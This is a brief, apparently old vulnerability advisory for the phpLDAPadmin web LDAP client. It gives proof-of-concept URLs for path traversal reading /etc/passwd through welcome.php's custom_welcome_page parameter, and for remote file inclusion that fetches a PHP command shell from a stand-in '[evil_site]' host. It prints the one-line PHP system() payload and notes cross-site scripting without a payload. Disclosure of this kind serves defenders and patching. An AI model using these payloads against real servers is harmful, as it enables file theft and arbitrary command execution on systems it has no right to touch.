remote code execution, cross site scripting

software:
author site: http://phpldapadmin.sourceforge.net/
description: phpLDAPadmin is a web-based LDAP client. It provides easy,
anywhere-accessible, multi-language administration for your LDAP server

if unpatched and vulnerable, a user can see any file on target system, poc:

http://[target]/[path]/phpldapadmin/welcome.php?custom_welcome_page=../../../../../../../../etc/passwd

a user can also execute arbitrary php code and system commands:

http://[target][path]/phpldapadmin/welcome.php?custom_welcome_page=http://[evil_site]/cmd.gif

where cmd.gif is a file like this:

<?php system('[some_command]); ?>  

also a user can craft a malicious url to include malicious client side code that
will be executed in the security contest of the victim browser
